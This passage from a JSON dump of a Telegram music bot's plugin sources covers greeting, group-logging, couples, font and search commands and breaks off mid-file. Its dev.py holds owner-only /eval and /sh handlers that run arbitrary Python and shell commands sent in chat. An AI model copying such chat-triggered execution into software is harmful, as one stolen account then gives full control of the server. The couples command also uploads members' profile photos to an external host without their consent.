    "content": "import asyncio\n\nfrom BrandrdXMusic import app\nfrom pyrogram import filters\nfrom pyrogram import Client, filters\nfrom pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup, Message\nfrom config import MUSIC_BOT_NAME\n\n@app.on_message(filters.command([\"alive\"]))\nasync def start(client: Client, message: Message):\n    await message.reply_video(\n        video=f\"https://graph.org/file/e999c40cb700e7c684b75.mp4\",\n        caption=f\"❤️ ʜᴇʏ {message.from_user.mention}\\n\\n🔮 ɪ ᴀᴍ {MUSIC_BOT_NAME}\\n\\n✨ ɪ ᴀᴍ ғᴀsᴛ ᴀɴᴅ ᴩᴏᴡᴇʀғᴜʟ ᴍᴜsɪᴄ ᴩʟᴀʏᴇʀ ʙᴏᴛ ᴡɪᴛʜ sᴏᴍᴇ ᴀᴡᴇsᴏᴍᴇ ғᴇᴀᴛᴜʀᴇs.\\n\\n💫 ɪғ ʏᴏᴜ ʜᴀᴠᴇ ᴀɴʏ ǫᴜᴇsᴛɪᴏɴs ᴛʜᴇɴ ᴊᴏɪɴ ᴏᴜʀ sᴜᴘᴘᴏʀᴛ ɢʀᴏᴜᴘ🤍...\\n\\n━━━━━━━━━━━━━━━━━━❄\",\n        reply_markup=InlineKeyboardMarkup(\n            [\n               [\n            InlineKeyboardButton(\n                text=\"☆ ʙʀᴀɴᴅᴇᴅ 💗 \", url=f\"https://t.me/BRANDRDKING82\"\n            ),\n            InlineKeyboardButton(\n                text=\"☆ ꜱᴜᴘᴘᴏʀᴛ 💗\", url=f\"https://t.me/BRANDED_WORLD\"\n            ),\n        ],\n                [\n            InlineKeyboardButton(\n                text=\"☆ ᴄʜᴀɴɴᴇʟ💗\", url=f\"https://t.me/BRANDRD_BOT\"\n            ),\n                ],\n                [\n                    InlineKeyboardButton(\n                        \"✯ ᴄʟᴏsᴇ ✯\", callback_data=\"close\"\n                    )\n                ],\n            ]\n        )\n    )\n"
  },
  {
    "path": "BrandrdXMusic/plugins/tools/bot_left.py",
    "content": "import random\nfrom pyrogram import Client\nfrom pyrogram.types import Message\nfrom pyrogram import filters\nfrom pyrogram.types import (\n    InlineKeyboardButton,\n    InlineKeyboardMarkup,\n    InputMediaPhoto,\n    InputMediaVideo,\n    Message,\n)\nfrom config import LOGGER_ID as LOG_GROUP_ID\nfrom BrandrdXMusic import app\nfrom BrandrdXMusic.utils.database import get_assistant\nfrom BrandrdXMusic.utils.database import delete_served_chat\n\nphoto = [\n    \"https://graph.org/file/872dc8af2a36bed43b9b6.jpg\",\n    \"https://graph.org/file/f4b34351a59061ba1c61b.jpg\",\n    \"https://graph.org/file/3fb3f4c8a1250c6a50af1.jpg\",\n    \"https://graph.org/file/eabab7e8a3e5df87a0b04.jpg\",\n    \"https://graph.org/file/427f4869a158126957747.jpg\",\n]\n\n\n@app.on_message(filters.left_chat_member)\nasync def on_left_chat_member(_, message: Message):\n    try:\n        userbot = await get_assistant(message.chat.id)\n\n        left_chat_member = message.left_chat_member\n        if left_chat_member and left_chat_member.id == (await app.get_me()).id:\n            remove_by = (\n                message.from_user.mention if message.from_user else \"𝐔ɴᴋɴᴏᴡɴ 𝐔sᴇʀ\"\n            )\n            title = message.chat.title\n            username = (\n                f\"@{message.chat.username}\" if message.chat.username else \"𝐏ʀɪᴠᴀᴛᴇ 𝐂ʜᴀᴛ\"\n            )\n            chat_id = message.chat.id\n            left = f\"✫ <b><u>#𝗟𝗘𝗙𝗧_𝗚𝗥𝗢𝗨𝗣</u></b> ✫\\n\\n𝐂ʜᴀᴛ 𝐓ɪᴛʟᴇ : {title}\\n\\n𝗖𝗛𝗔𝗧 𝗜𝗗 : {chat_id}\\n\\n𝗥𝗘𝗠𝗢𝗩𝗘𝗗 𝗕𝗬 : {remove_by}\\n\\n𝗕𝗢𝗧 : @{app.username}\"\n            await app.send_photo(LOG_GROUP_ID, photo=random.choice(photo), caption=left)\n            await delete_served_chat(chat_id)\n            await userbot.leave_chat(chat_id)\n    except Exception as e:\n        return\n"
  },
  {
    "path": "BrandrdXMusic/plugins/tools/bots.py",
    "content": "import asyncio\n\nfrom pyrogram import enums, filters\nfrom pyrogram.errors import FloodWait\n\nfrom BrandrdXMusic import app\n\n\n@app.on_message(filters.command(\"bots\") & filters.group)\nasync def bots(client, message):\n\n    try:\n        botList = []\n        async for bot in app.get_chat_members(\n            message.chat.id, filter=enums.ChatMembersFilter.BOTS\n        ):\n            botList.append(bot.user)\n        lenBotList = len(botList)\n        text3 = f\"**ʙᴏᴛ ʟɪsᴛ - {message.chat.title}**\\n\\n🤖 ʙᴏᴛs\\n\"\n        while len(botList) > 1:\n            bot = botList.pop(0)\n            text3 += f\"├ @{bot.username}\\n\"\n        else:\n            bot = botList.pop(0)\n            text3 += f\"└ @{bot.username}\\n\\n\"\n            text3 += f\"**ᴛᴏᴛᴀʟ ɴᴜᴍʙᴇʀ ᴏғ ʙᴏᴛs**: {lenBotList}**\"\n            await app.send_message(message.chat.id, text3)\n    except FloodWait as e:\n        await asyncio.sleep(e.value)\n"
  },
  {
    "path": "BrandrdXMusic/plugins/tools/chatlog.py",
    "content": "import random\nfrom pyrogram import Client\nfrom pyrogram.types import Message\nfrom pyrogram import filters\nfrom pyrogram.types import (\n    InlineKeyboardButton,\n    InlineKeyboardMarkup,\n    InputMediaPhoto,\n    InputMediaVideo,\n    Message,\n)\nfrom config import LOGGER_ID as LOG_GROUP_ID\nfrom BrandrdXMusic import app\nfrom BrandrdXMusic.core.userbot import Userbot\nfrom BrandrdXMusic.utils.database import delete_served_chat\nfrom BrandrdXMusic.utils.database import get_assistant\n\n\nphoto = [\n    \"https://te.legra.ph/file/758a5cf4598f061f25963.jpg\",\n    \"https://te.legra.ph/file/30a1dc870bd1a485e3567.jpg\",\n    \"https://te.legra.ph/file/d585beb2a6b3f553299d2.jpg\",\n    \"https://te.legra.ph/file/7df9e128dd261de2afd6b.jpg\",\n    \"https://te.legra.ph/file/f60ebb75ad6f2786efa4e.jpg\",\n]\n\n\n@app.on_message(filters.new_chat_members, group=2)\nasync def join_watcher(_, message):\n    try:\n        userbot = await get_assistant(message.chat.id)\n        chat = message.chat\n        for members in message.new_chat_members:\n            if members.id == app.id:\n                count = await app.get_chat_members_count(chat.id)\n                username = (\n                    message.chat.username if message.chat.username else \"𝐏ʀɪᴠᴀᴛᴇ 𝐆ʀᴏᴜᴘ\"\n                )\n                msg = (\n                    f\"**📝𝐌ᴜsɪᴄ 𝐁ᴏᴛ 𝐀ᴅᴅᴇᴅ 𝐈ɴ 𝐀 #𝐍ᴇᴡ_𝐆ʀᴏᴜᴘ**\\n\\n\"\n                    f\"**📌𝐂ʜᴀᴛ 𝐍ᴀᴍᴇ:** {message.chat.title}\\n\"\n                    f\"**🍂𝐂ʜᴀᴛ 𝐈ᴅ:** {message.chat.id}\\n\"\n                    f\"**🔐𝐂ʜᴀᴛ 𝐔sᴇʀɴᴀᴍᴇ:** @{username}\\n\"\n                    f\"**📈𝐆ʀᴏᴜᴘ 𝐌ᴇᴍʙᴇʀs:** {count}\\n\"\n                    f\"**🤔𝐀ᴅᴅᴇᴅ 𝐁ʏ:** {message.from_user.mention}\"\n                )\n                await app.send_photo(\n                    LOG_GROUP_ID,\n                    photo=random.choice(photo),\n                    caption=msg,\n                    reply_markup=InlineKeyboardMarkup(\n                        [\n                            [\n                                InlineKeyboardButton(\n                                    f\"😍𝐀ᴅᴅᴇᴅ 𝐁ʏ😍\",\n                                    url=f\"tg://openmessage?user_id={message.from_user.id}\",\n                                )\n                            ]\n                        ]\n                    ),\n                )\n                await userbot.join_chat(f\"{username}\")\n    except Exception as e:\n        print(f\"Error: {e}\")\n"
  },
  {
    "path": "BrandrdXMusic/plugins/tools/couples.py",
    "content": "import os \nimport random\nfrom datetime import datetime \nfrom telegraph import upload_file\nfrom PIL import Image , ImageDraw\nfrom pyrogram import *\nfrom pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup\nfrom pyrogram.enums import *\n\n#BOT FILE NAME\nfrom BrandrdXMusic import app as app\nfrom BrandrdXMusic.mongo.couples_db import _get_image, get_couple\n\nPOLICE = [\n    [\n        InlineKeyboardButton(\n            text=\"ᴍʏ ᴄᴜᴛᴇ ᴅᴇᴠᴇʟᴏᴘᴇʀ  🥀\",\n            url=f\"https://t.me/BRANDED_PAID_CC\",\n        ),\n    ],\n]\n\n\ndef dt():\n    now = datetime.now()\n    dt_string = now.strftime(\"%d/%m/%Y %H:%M\")\n    dt_list = dt_string.split(\" \")\n    return dt_list\n    \n\ndef dt_tom():\n    a = (\n        str(int(dt()[0].split(\"/\")[0]) + 1)\n        + \"/\"\n        + dt()[0].split(\"/\")[1]\n        + \"/\"\n        + dt()[0].split(\"/\")[2]\n    )\n    return a\n\ntomorrow = str(dt_tom())\ntoday = str(dt()[0])\n\n@app.on_message(filters.command(\"couples\"))\nasync def ctest(_, message):\n    cid = message.chat.id\n    if message.chat.type == ChatType.PRIVATE:\n        return await message.reply_text(\"ᴛʜɪs ᴄᴏᴍᴍᴀɴᴅ ᴏɴʟʏ ᴡᴏʀᴋs ɪɴ ɢʀᴏᴜᴘs.\")\n    try:\n     #  is_selected = await get_couple(cid, today)\n     #  if not is_selected:\n         msg = await message.reply_text(\"ɢᴇɴᴇʀᴀᴛɪɴɢ ᴄᴏᴜᴘʟᴇs ɪᴍᴀɢᴇ...\")\n         #GET LIST OF USERS\n         list_of_users = []\n\n         async for i in app.get_chat_members(message.chat.id, limit=50):\n             if not i.user.is_bot:\n               list_of_users.append(i.user.id)\n\n         c1_id = random.choice(list_of_users)\n         c2_id = random.choice(list_of_users)\n         while c1_id == c2_id:\n              c1_id = random.choice(list_of_users)\n\n\n         photo1 = (await app.get_chat(c1_id)).photo\n         photo2 = (await app.get_chat(c2_id)).photo\n \n         N1 = (await app.get_users(c1_id)).mention \n         N2 = (await app.get_users(c2_id)).mention\n         \n         try:\n            p1 = await app.download_media(photo1.big_file_id, file_name=\"pfp.png\")\n         except Exception:\n            p1 = \"BrandrdXMusic/assets/upic.png\"\n         try:\n            p2 = await app.download_media(photo2.big_file_id, file_name=\"pfp1.png\")\n         except Exception:\n            p2 = \"BrandrdXMusic/assets/upic.png\"\n            \n         img1 = Image.open(f\"{p1}\")\n         img2 = Image.open(f\"{p2}\")\n\n         img = Image.open(\"BrandrdXMusic/assets/cppicbranded.jpg\")\n\n         img1 = img1.resize((437,437))\n         img2 = img2.resize((437,437))\n\n         mask = Image.new('L', img1.size, 0)\n         draw = ImageDraw.Draw(mask) \n         draw.ellipse((0, 0) + img1.size, fill=255)\n\n         mask1 = Image.new('L', img2.size, 0)\n         draw = ImageDraw.Draw(mask1) \n         draw.ellipse((0, 0) + img2.size, fill=255)\n\n\n         img1.putalpha(mask)\n         img2.putalpha(mask1)\n\n         draw = ImageDraw.Draw(img)\n\n         img.paste(img1, (116, 160), img1)\n         img.paste(img2, (789, 160), img2)\n\n         img.save(f'test_{cid}.png')\n    \n         TXT = f\"\"\"\n**ᴛᴏᴅᴀʏ's ᴄᴏᴜᴘʟᴇ ᴏғ ᴛʜᴇ ᴅᴀʏ :\n\n{N1} + {N2} = 💚\n\nɴᴇxᴛ ᴄᴏᴜᴘʟᴇs ᴡɪʟʟ ʙᴇ sᴇʟᴇᴄᴛᴇᴅ ᴏɴ {tomorrow} !!**\n\"\"\"\n    \n         await message.reply_photo(f\"test_{cid}.png\", caption=TXT, reply_markup=InlineKeyboardMarkup(POLICE),\n    )\n         await msg.delete()\n         a = upload_file(f\"test_{cid}.png\")\n         for x in a:\n           img = \"https://graph.org/\" + x\n           couple = {\"c1_id\": c1_id, \"c2_id\": c2_id}\n          # await save_couple(cid, today, couple, img)\n    \n         \n      # elif is_selected:\n      #   msg = await message.reply_text(\"𝐆ᴇᴛᴛɪɴɢ 𝐓ᴏᴅᴀʏs 𝐂ᴏᴜᴘʟᴇs 𝐈ᴍᴀɢᴇ...\")\n      #   b = await _get_image(cid)\n       #  c1_id = int(is_selected[\"c1_id\"])\n       #  c2_id = int(is_selected[\"c2_id\"])\n       #  c1_name = (await app.get_users(c1_id)).first_name\n        # c2_name = (await app.get_users(c2_id)).first_name\n         \n      #   TXT = f\"\"\"\n#**ᴛᴏᴅᴀʏ's sᴇʟᴇᴄᴛᴇᴅ ᴄᴏᴜᴘʟᴇs 🎉 :\n#➖➖➖➖➖➖➖➖➖➖➖➖\n#[{c1_name}](tg://openmessage?user_id={c1_id}) + [{c2_name}](tg://openmessage?user_id={c2_id}) = ❣️\n#➖➖➖➖➖➖➖➖➖➖➖➖\n#ɴᴇxᴛ ᴄᴏᴜᴘʟᴇꜱ ᴡɪʟʟ ʙᴇ ꜱᴇʟᴇᴄᴛᴇᴅ ᴏɴ {tomorrow} !!**\n#\"\"\"\n #        await message.reply_photo(b, caption=TXT)\n        # await msg.delete()\n    except Exception as e:\n        print(str(e))\n    try:\n      os.remove(f\"./downloads/pfp1.png\")\n      os.remove(f\"./downloads/pfp2.png\")\n      os.remove(f\"test_{cid}.png\")\n    except Exception:\n       pass\n         \n\n__mod__ = \"COUPLES\"\n__help__ = \"\"\"\n**» /couples** - Get Todays Couples Of The Group In Interactive View\n\"\"\"\n\n\n\n\n\n    \n\n\n\n\n    \n"
  },
  {
    "path": "BrandrdXMusic/plugins/tools/dev.py",
    "content": "import os\nimport re\nimport subprocess\nimport sys\nimport traceback\nfrom inspect import getfullargspec\nfrom io import StringIO\nfrom time import time\n\nfrom pyrogram import filters\nfrom pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup, Message\n\nfrom BrandrdXMusic import app\nfrom config import OWNER_ID\n\n\nasync def aexec(code, client, message):\n    exec(\n        \"async def __aexec(client, message): \"\n        + \"\".join(f\"\\n {a}\" for a in code.split(\"\\n\"))\n    )\n    return await locals()[\"__aexec\"](client, message)\n\n\nasync def edit_or_reply(msg: Message, **kwargs):\n    func = msg.edit_text if msg.from_user.is_self else msg.reply\n    spec = getfullargspec(func.__wrapped__).args\n    await func(**{k: v for k, v in kwargs.items() if k in spec})\n\n\n@app.on_edited_message(\n    filters.command(\"eval\")\n    & filters.user(OWNER_ID)\n    & ~filters.forwarded\n    & ~filters.via_bot\n)\n@app.on_message(\n    filters.command(\"eval\")\n    & filters.user(OWNER_ID)\n    & ~filters.forwarded\n    & ~filters.via_bot\n)\nasync def executor(client: app, message: Message):\n    if len(message.command) < 2:\n        return await edit_or_reply(message, text=\"<b>ᴡʜᴀᴛ ʏᴏᴜ ᴡᴀɴɴᴀ ᴇxᴇᴄᴜᴛᴇ ʙᴀʙʏ ?</b>\")\n    try:\n        cmd = message.text.split(\" \", maxsplit=1)[1]\n    except IndexError:\n        return await message.delete()\n    t1 = time()\n    old_stderr = sys.stderr\n    old_stdout = sys.stdout\n    redirected_output = sys.stdout = StringIO()\n    redirected_error = sys.stderr = StringIO()\n    stdout, stderr, exc = None, None, None\n    try:\n        await aexec(cmd, client, message)\n    except Exception:\n        exc = traceback.format_exc()\n    stdout = redirected_output.getvalue()\n    stderr = redirected_error.getvalue()\n    sys.stdout = old_stdout\n    sys.stderr = old_stderr\n    evaluation = \"\\n\"\n    if exc:\n        evaluation += exc\n    elif stderr:\n        evaluation += stderr\n    elif stdout:\n        evaluation += stdout\n    else:\n        evaluation += \"Success\"\n    final_output = f\"<b>⥤ ʀᴇsᴜʟᴛ :</b>\\n<pre language='python'>{evaluation}</pre>\"\n    if len(final_output) > 4096:\n        filename = \"output.txt\"\n        with open(filename, \"w+\", encoding=\"utf8\") as out_file:\n            out_file.write(str(evaluation))\n        t2 = time()\n        keyboard = InlineKeyboardMarkup(\n            [\n                [\n                    InlineKeyboardButton(\n                        text=\"⏳\",\n                        callback_data=f\"runtime {t2-t1} Seconds\",\n                    )\n                ]\n            ]\n        )\n        await message.reply_document(\n            document=filename,\n            caption=f\"<b>⥤ ᴇᴠᴀʟ :</b>\\n<code>{cmd[0:980]}</code>\\n\\n<b>⥤ ʀᴇsᴜʟᴛ :</b>\\nAttached Document\",\n            quote=False,\n            reply_markup=keyboard,\n        )\n        await message.delete()\n        os.remove(filename)\n    else:\n        t2 = time()\n        keyboard = InlineKeyboardMarkup(\n            [\n                [\n                    InlineKeyboardButton(\n                        text=\"⏳\",\n                        callback_data=f\"runtime {round(t2-t1, 3)} Seconds\",\n                    ),\n                    InlineKeyboardButton(\n                        text=\"🗑\",\n                        callback_data=f\"forceclose abc|{message.from_user.id}\",\n                    ),\n                ]\n            ]\n        )\n        await edit_or_reply(message, text=final_output, reply_markup=keyboard)\n\n\n@app.on_callback_query(filters.regex(r\"runtime\"))\nasync def runtime_func_cq(_, cq):\n    runtime = cq.data.split(None, 1)[1]\n    await cq.answer(runtime, show_alert=True)\n\n\n@app.on_callback_query(filters.regex(\"forceclose\"))\nasync def forceclose_command(_, CallbackQuery):\n    callback_data = CallbackQuery.data.strip()\n    callback_request = callback_data.split(None, 1)[1]\n    query, user_id = callback_request.split(\"|\")\n    if CallbackQuery.from_user.id != int(user_id):\n        try:\n            return await CallbackQuery.answer(\n                \"» ɪᴛ'ʟʟ ʙᴇ ʙᴇᴛᴛᴇʀ ɪғ ʏᴏᴜ sᴛᴀʏ ɪɴ ʏᴏᴜʀ ʟɪᴍɪᴛs ʙᴀʙʏ.\", show_alert=True\n            )\n        except:\n            return\n    await CallbackQuery.message.delete()\n    try:\n        await CallbackQuery.answer()\n    except:\n        return\n\n\n@app.on_edited_message(\n    filters.command(\"sh\")\n    & filters.user(OWNER_ID)\n    & ~filters.forwarded\n    & ~filters.via_bot\n)\n@app.on_message(\n    filters.command(\"sh\")\n    & filters.user(OWNER_ID)\n    & ~filters.forwarded\n    & ~filters.via_bot\n)\nasync def shellrunner(_, message: Message):\n    if len(message.command) < 2:\n        return await edit_or_reply(message, text=\"<b>ᴇxᴀᴍᴩʟᴇ :</b>\\n/sh git pull\")\n    text = message.text.split(None, 1)[1]\n    if \"\\n\" in text:\n        code = text.split(\"\\n\")\n        output = \"\"\n        for x in code:\n            shell = re.split(\"\"\" (?=(?:[^'\"]|'[^']*'|\"[^\"]*\")*$)\"\"\", x)\n            try:\n                process = subprocess.Popen(\n                    shell,\n                    stdout=subprocess.PIPE,\n                    stderr=subprocess.PIPE,\n                )\n            except Exception as err:\n                await edit_or_reply(message, text=f\"<b>ERROR :</b>\\n<pre>{err}</pre>\")\n            output += f\"<b>{code}</b>\\n\"\n            output += process.stdout.read()[:-1].decode(\"utf-8\")\n            output += \"\\n\"\n    else:\n        shell = re.split(\"\"\" (?=(?:[^'\"]|'[^']*'|\"[^\"]*\")*$)\"\"\", text)\n        for a in range(len(shell)):\n            shell[a] = shell[a].replace('\"', \"\")\n        try:\n            process = subprocess.Popen(\n                shell,\n                stdout=subprocess.PIPE,\n                stderr=subprocess.PIPE,\n            )\n        except Exception as err:\n            print(err)\n            exc_type, exc_obj, exc_tb = sys.exc_info()\n            errors = traceback.format_exception(\n                etype=exc_type,\n                value=exc_obj,\n                tb=exc_tb,\n            )\n            return await edit_or_reply(\n                message, text=f\"<b>ERROR :</b>\\n<pre>{''.join(errors)}</pre>\"\n            )\n        output = process.stdout.read()[:-1].decode(\"utf-8\")\n    if str(output) == \"\\n\":\n        output = None\n    if output:\n        if len(output) > 4096:\n            with open(\"output.txt\", \"w+\") as file:\n                file.write(output)\n            await app.send_document(\n                message.chat.id,\n                \"output.txt\",\n                reply_to_message_id=message.id,\n                caption=\"<code>Output</code>\",\n            )\n            return os.remove(\"output.txt\")\n        await edit_or_reply(message, text=f\"<b>OUTPUT :</b>\\n<pre>{output}</pre>\")\n    else:\n        await edit_or_reply(message, text=\"<b>OUTPUT :</b>\\n<code>None</code>\")\n    await message.stop_propagation()\n"
  },
  {
    "path": "BrandrdXMusic/plugins/tools/font.py",
    "content": "from pyrogram import filters\nfrom pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup\n\nfrom BrandrdXMusic import app\nfrom BrandrdXMusic.utils.branded_font import Fonts\n\n\n@app.on_message(filters.command([\"font\", \"fonts\"]))\nasync def style_buttons(c, m, cb=False):\n    buttons = [\n        [\n            InlineKeyboardButton(\"𝚃𝚢𝚙𝚎𝚠𝚛𝚒𝚝𝚎𝚛\", callback_data=\"style+typewriter\"),\n            InlineKeyboardButton(\"𝕆𝕦𝕥𝕝𝕚𝕟𝕖\", callback_data=\"style+outline\"),\n            InlineKeyboardButton(\"𝐒𝐞𝐫𝐢𝐟\", callback_data=\"style+serif\"),\n        ],\n        [\n            InlineKeyboardButton(\"𝑺𝒆𝒓𝒊𝒇\", callback_data=\"style+bold_cool\"),\n            InlineKeyboardButton(\"𝑆𝑒𝑟𝑖𝑓\", callback_data=\"style+cool\"),\n            InlineKeyboardButton(\"Sᴍᴀʟʟ Cᴀᴘs\", callback_data=\"style+small_cap\"),\n        ],\n        [\n            InlineKeyboardButton(\"𝓈𝒸𝓇𝒾𝓅𝓉\", callback_data=\"style+script\"),\n            InlineKeyboardButton(\"𝓼𝓬𝓻𝓲𝓹𝓽\", callback_data=\"style+script_bolt\"),\n            InlineKeyboardButton(\"ᵗⁱⁿʸ\", callback_data=\"style+tiny\"),\n        ],\n        [\n            InlineKeyboardButton(\"ᑕOᗰIᑕ\", callback_data=\"style+comic\"),\n            InlineKeyboardButton(\"𝗦𝗮𝗻𝘀\", callback_data=\"style+sans\"),\n            InlineKeyboardButton(\"𝙎𝙖𝙣𝙨\", callback_data=\"style+slant_sans\"),\n        ],\n        [\n            InlineKeyboardButton(\"𝘚𝘢𝘯𝘴\", callback_data=\"style+slant\"),\n            InlineKeyboardButton(\"𝖲𝖺𝗇𝗌\", callback_data=\"style+sim\"),\n            InlineKeyboardButton(\"Ⓒ︎Ⓘ︎Ⓡ︎Ⓒ︎Ⓛ︎Ⓔ︎Ⓢ︎\", callback_data=\"style+circles\"),\n        ],\n        [\n            InlineKeyboardButton(\"🅒︎🅘︎🅡︎🅒︎🅛︎🅔︎🅢︎\", callback_data=\"style+circle_dark\"),\n            InlineKeyboardButton(\"𝔊𝔬𝔱𝔥𝔦𝔠\", callback_data=\"style+gothic\"),\n            InlineKeyboardButton(\"𝕲𝖔𝖙𝖍𝖎𝖈\", callback_data=\"style+gothic_bolt\"),\n        ],\n        [\n            InlineKeyboardButton(\"C͜͡l͜͡o͜͡u͜͡d͜͡s͜͡\", callback_data=\"style+cloud\"),\n            InlineKeyboardButton(\"H̆̈ă̈p̆̈p̆̈y̆̈\", callback_data=\"style+happy\"),\n            InlineKeyboardButton(\"S̑̈ȃ̈d̑̈\", callback_data=\"style+sad\"),\n        ],\n        [InlineKeyboardButton(\"ɴᴇxᴛ ➻\", callback_data=\"nxt\")],\n    ]\n    if not cb:\n        await m.reply_text(\n            text=m.text.split(None, 1)[1],\n            reply_markup=InlineKeyboardMarkup(buttons),\n            quote=True,\n        )\n    else:\n        await m.answer()\n        await m.message.edit_reply_markup(InlineKeyboardMarkup(buttons))\n\n\n@app.on_callback_query(filters.regex(\"^nxt\"))\nasync def nxt(c, m):\n    if m.data == \"nxt\":\n        buttons = [\n            [\n                InlineKeyboardButton(\"🇸 🇵 🇪 🇨 🇮 🇦 🇱 \", callback_data=\"style+special\"),\n                InlineKeyboardButton(\"🅂🅀🅄🄰🅁🄴🅂\", callback_data=\"style+squares\"),\n                InlineKeyboardButton(\"🆂︎🆀︎🆄︎🅰︎🆁︎🅴︎🆂︎\", callback_data=\"style+squares_bold\"),\n            ],\n            [\n                InlineKeyboardButton(\"ꪖꪀᦔꪖꪶꪊᥴ𝓲ꪖ\", callback_data=\"style+andalucia\"),\n                InlineKeyboardButton(\"爪卂几ᘜ卂\", callback_data=\"style+manga\"),\n                InlineKeyboardButton(\"S̾t̾i̾n̾k̾y̾\", callback_data=\"style+stinky\"),\n            ],\n            [\n                InlineKeyboardButton(\"B̥ͦu̥ͦb̥ͦb̥ͦl̥ͦe̥ͦs̥ͦ\", callback_data=\"style+bubbles\"),\n                InlineKeyboardButton(\"U͟n͟d͟e͟r͟l͟i͟n͟e͟\", callback_data=\"style+underline\"),\n                InlineKeyboardButton(\"꒒ꍏꀷꌩꌃꀎꁅ\", callback_data=\"style+ladybug\"),\n            ],\n            [\n                InlineKeyboardButton(\"R҉a҉y҉s҉\", callback_data=\"style+rays\"),\n                InlineKeyboardButton(\"B҈i҈r҈d҈s҈\", callback_data=\"style+birds\"),\n                InlineKeyboardButton(\"S̸l̸a̸s̸h̸\", callback_data=\"style+slash\"),\n            ],\n            [\n                InlineKeyboardButton(\"s⃠t⃠o⃠p⃠\", callback_data=\"style+stop\"),\n                InlineKeyboardButton(\"S̺͆k̺͆y̺͆l̺͆i̺͆n̺͆e̺͆\", callback_data=\"style+skyline\"),\n                InlineKeyboardButton(\"A͎r͎r͎o͎w͎s͎\", callback_data=\"style+arrows\"),\n            ],\n            [\n                InlineKeyboardButton(\"ዪሀክቿነ\", callback_data=\"style+qvnes\"),\n                InlineKeyboardButton(\"S̶t̶r̶i̶k̶e̶\", callback_data=\"style+strike\"),\n                InlineKeyboardButton(\"F༙r༙o༙z༙e༙n༙\", callback_data=\"style+frozen\"),\n            ],\n            [InlineKeyboardButton(\"ʙᴀᴄᴋ\", callback_data=\"nxt+0\")],\n        ]\n        await m.answer()\n        await m.message.edit_reply_markup(InlineKeyboardMarkup(buttons))\n    else:\n        await style_buttons(c, m, cb=True)\n\n\n@app.on_callback_query(filters.regex(\"^style\"))\nasync def style(c, m):\n    await m.answer()\n    cmd, style = m.data.split(\"+\")\n\n    if style == \"typewriter\":\n        cls = Fonts.typewriter\n    if style == \"outline\":\n        cls = Fonts.outline\n    if style == \"serif\":\n        cls = Fonts.serief\n    if style == \"bold_cool\":\n        cls = Fonts.bold_cool\n    if style == \"cool\":\n        cls = Fonts.cool\n    if style == \"small_cap\":\n        cls = Fonts.smallcap\n    if style == \"script\":\n        cls = Fonts.script\n    if style == \"script_bolt\":\n        cls = Fonts.bold_script\n    if style == \"tiny\":\n        cls = Fonts.tiny\n    if style == \"comic\":\n        cls = Fonts.comic\n    if style == \"sans\":\n        cls = Fonts.san\n    if style == \"slant_sans\":\n        cls = Fonts.slant_san\n    if style == \"slant\":\n        cls = Fonts.slant\n    if style == \"sim\":\n        cls = Fonts.sim\n    if style == \"circles\":\n        cls = Fonts.circles\n    if style == \"circle_dark\":\n        cls = Fonts.dark_circle\n    if style == \"gothic\":\n        cls = Fonts.gothic\n    if style == \"gothic_bolt\":\n        cls = Fonts.bold_gothic\n    if style == \"cloud\":\n        cls = Fonts.cloud\n    if style == \"happy\":\n        cls = Fonts.happy\n    if style == \"sad\":\n        cls = Fonts.sad\n    if style == \"special\":\n        cls = Fonts.special\n    if style == \"squares\":\n        cls = Fonts.square\n    if style == \"squares_bold\":\n        cls = Fonts.dark_square\n    if style == \"andalucia\":\n        cls = Fonts.andalucia\n    if style == \"manga\":\n        cls = Fonts.manga\n    if style == \"stinky\":\n        cls = Fonts.stinky\n    if style == \"bubbles\":\n        cls = Fonts.bubbles\n    if style == \"underline\":\n        cls = Fonts.underline\n    if style == \"ladybug\":\n        cls = Fonts.ladybug\n    if style == \"rays\":\n        cls = Fonts.rays\n    if style == \"birds\":\n        cls = Fonts.birds\n    if style == \"slash\":\n        cls = Fonts.slash\n    if style == \"stop\":\n        cls = Fonts.stop\n    if style == \"skyline\":\n        cls = Fonts.skyline\n    if style == \"arrows\":\n        cls = Fonts.arrows\n    if style == \"qvnes\":\n        cls = Fonts.rvnes\n    if style == \"strike\":\n        cls = Fonts.strike\n    if style == \"frozen\":\n        cls = Fonts.frozen\n    new_text = cls(m.message.reply_to_message.text.split(None, 1)[1])\n    try:\n        await m.message.edit_text(new_text, reply_markup=m.message.reply_markup)\n    except:\n        pass\n"
  },
  {
    "path": "BrandrdXMusic/plugins/tools/google.py",
    "content": "import logging\n\nfrom googlesearch import search\nfrom pyrogram import filters\n\nfrom BrandrdXMusic import app\nfrom SafoneAPI import SafoneAPI\n\n\n@app.on_message(filters.command([\"google\", \"gle\"]))\nasync def google(bot, message):\n    if len(message.command) < 2 and not message.reply_to_message:\n        await message.reply_text(\"Example:\\n\\n`/google lord ram`\")\n        return\n\n    if message.reply_to_message and message.reply_to_message.text:\n        user_input = message.reply_to_message.text\n    else:\n        user_input = \" \".join(message.command[1:])\n    b = await message.reply_text(\"**Sᴇᴀʀᴄʜɪɴɢ ᴏɴ Gᴏᴏɢʟᴇ....**\")\n    try:\n        a = search(user_input, advanced=True)\n        txt = f\"Search Query: {user_input}\\n\\nresults\"\n        for result in a:\n            txt += f\"\\n\\n[❍ {result.title}]({result.url})\\n<b>{result.description}</b>\"\n        await b.edit(\n            txt,\n            disable_web_page_preview=True,\n        )\n    except Exception as e:\n        await b.edit(e)\n        logging.exception(e)\n\n\n@app.on_message(filters.command([\"app\", \"apps\"]))\nasync def app(bot, message):\n    if len(message.command) < 2 and not message.reply_to_message:\n        await message.reply_text(\"Example:\\n\\n`/app Free Fire`\")\n        return\n\n    if message.reply_to_message and message.reply_to_message.text:\n        user_input = message.reply_to_message.text\n    else:\n        user_input = \" \".join(message.command[1:])\n    cbb = await message.reply_text(\"**Sᴇᴀʀᴄʜɪɴɢ ᴏɴ Pʟᴀʏ Sᴛᴏʀᴇ....**\")\n    a = await SafoneAPI().apps(user_input, 1)\n    b = a[\"results\"][0]\n    icon = b[\"icon\"]\n    id = b[\"id\"]\n    link = b[\"link\"]\n    ca = b[\"description\"]\n    title = b[\"title\"]\n    dev = b[\"developer\"]\n    info = f\"<b>[ᴛɪᴛʟᴇ : {title}]({link})</b>\\n<b>ɪᴅ</b>: <code>{id}</code>\\n<b>ᴅᴇᴠᴇʟᴏᴘᴇʀ</b> : 